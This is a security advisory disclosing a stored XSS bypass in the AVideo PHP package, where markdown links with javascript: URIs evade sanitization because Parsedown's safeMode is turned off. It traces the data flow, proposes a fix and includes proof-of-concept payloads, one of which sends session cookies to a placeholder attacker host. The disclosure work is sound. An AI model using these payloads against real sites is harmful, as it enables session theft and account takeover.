Incomplete Fix for CVE-2026-27568: Stored XSS via Markdown `javascript:` URI Bypasses ParsedownSafeWithLinks Sanitization

Moderate **DanielnetoDotCom** published **GHSA-72h5-39r7-r26j** on Mar 20

Package

php **wwbn/avideo** (Composer)

Affected versions

<= 26.0

Patched versions

None

Description

Summary

The fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom `ParsedownSafeWithLinks` class that sanitizes raw HTML `<a>` and `<img>` tags in comments, but explicitly disables Parsedown's `safeMode`. This creates a bypass: markdown link syntax `[text](javascript:alert(1))` is processed by Parsedown's `inlineLink()` method, which does not go through the custom `sanitizeATag()` sanitization (that only handles raw HTML tags). With `safeMode` disabled, Parsedown's built-in `javascript:` URI filtering (`sanitiseElement()` / `filterUnsafeUrlInAttribute()`) is also inactive. An attacker can inject stored XSS via comment markdown links.

Details

The original fix (commit `ade348ed6`) enabled `setSafeMode(true)`, which activated Parsedown's built-in URL scheme filtering. This was then replaced by commit `f13587c59` with a custom approach that turned safeMode back off:

`objects/functionsSecurity.php:442-446` — safeMode disabled:

```
function markDownToHTML($text) {
    $parsedown = new ParsedownSafeWithLinks();
    $parsedown->setSafeMode(false);   // line 445 — disables Parsedown's built-in javasc
    $parsedown->setMarkupEscaped(false);
    $html = $parsedown->text($text);
```

`ParsedownSafeWithLinks` (lines 349-440) overrides `blockMarkup()` and `inlineMarkup()` to sanitize raw HTML `<a>` tags via `sanitizeATag()`, which whitelist-checks the URL scheme:

```
// sanitizeATag() at line 360 — only allows http(s), mailto, /, #
if (preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $url)) {
    $href = ' href="' . htmlspecialchars($url, ENT_QUOTES) . '"';
}
```

However, this sanitization only runs for **raw HTML** `<a>` tags processed through `inlineMarkup()`. Markdown-syntax links (`[text](url)`) are handled by Parsedown's core `inlineLink()` method (`vendor/erusev/parsedown/Parsedown.php:1258`), which constructs an element array and passes it to `element()`.

`vendor/erusev/parsedown/Parsedown.php:1470-1475` — sanitiseElement only runs when safeMode is true:

```
protected function element(array $Element)
{
    if ($this->safeMode)        // false — so sanitiseElement() is never called
    {
        $Element = $this->sanitiseElement($Element);
    }
```

`sanitiseElement()` would have called `filterUnsafeUrlInAttribute()` which replaces `:` with `%3A` for non-whitelisted schemes like `javascript:`, but it is never invoked.

Data flow:

1. User posts comment containing `[Click here](javascript:alert(document.cookie))`
2. `xss_esc()` applies `htmlspecialchars()` — no HTML special chars exist in the payload, stored unchanged
3. On retrieval, `xss_esc_back()` reverses encoding (no-op), then `markDownToHTML()` converts markdown to `<a href="javascript:alert(document.cookie)">Click here</a>`
4. Result stored in `commentWithLinks` (`objects/comment.php:420`)
5. Rendered directly in DOM via template at `view/videoComments_template.php:15`: `<p>{commentWithLinks}</p>`

PoC

1. Log in as any user with comment permission
2. Navigate to any video page
3. Post a comment with the following markdown:

```
[Click here for more info](javascript:alert(document.cookie))
```

4. The comment is saved and rendered. Any user viewing the video sees "Click here for more info" as a clickable link
5. Clicking the link executes `alert(document.cookie)` in the victim's browser context

For session hijacking:

```
[See related video](javascript:fetch('https://attacker.example/steal?c='+document.cookie))
```

Impact

- **Session hijacking:** Attacker can steal session cookies of any user (including admins) who clicks the comment link, leading to full account takeover
- **Scope change (S:C):** The XSS executes in the context of the viewing user's session, crossing the trust boundary from the attacker's low-privilege comment context
- **Persistence:** The payload is stored in the database and triggers for every user who views the page and clicks the link
- **UI:R required:** The victim must click the link, which limits the severity vs. auto-executing XSS

Recommended Fix

Override `inlineLink()` in `ParsedownSafeWithLinks` to apply URL scheme filtering to markdown-generated links:

```php
class ParsedownSafeWithLinks extends Parsedown
{
    // ... existing code ...

    protected function inlineLink($Excerpt)
    {
        $Link = parent::inlineLink($Excerpt);

        if ($Link === null) {
            return null;
        }
```

```
        $href = $Link['element']['attributes']['href'] ?? '';

        // Apply the same whitelist as sanitizeATag: only allow http(s), mailto, relativ
        if ($href !== '' && !preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $href)) {
            $Link['element']['attributes']['href'] = '';
        }

        return $Link;
    }
}
```

Alternatively, re-enable `safeMode(true)` and find a different approach to allow `<a>` and `<img>` tags (e.g., post-processing the safe output to re-inject whitelisted tags).

Severity

Moderate 5.4 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	Required
Scope	Changed
Confidentiality	Low
Integrity	Low
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

CVE ID

CVE-2026-33500

Weaknesses

▶ CWE-79

Credits

 **offset** Reporter